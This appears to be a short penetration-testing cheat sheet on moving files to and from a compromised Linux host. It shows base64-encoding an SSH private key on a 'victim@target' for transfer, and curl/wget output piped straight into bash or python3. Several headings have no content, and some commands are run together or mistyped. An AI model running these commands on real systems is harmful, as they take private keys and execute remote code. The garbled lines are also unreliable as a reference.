Linux File Transfer Methods
Base64 encoding
victim@target$ cat id_rsa |base64 -w 0;echo
#Now we decode the data on the other machine:
victim@target$ echo -n "encoded string" | base64 -d > id_rsaattack@attack$md5sum id_rsacURL / wget
$wget <url> -O output_filename
$curl <url> -o output_filenamevictim@target$wget -q0- <url-to-a-bash-script> | bash
victim@target$curl <url-to-a-python-script> | python3Download with Bash (/dev/tcp)
SSH-SCP
Web Uploads
HTTPS python server
Simple HTTP servers
Last updated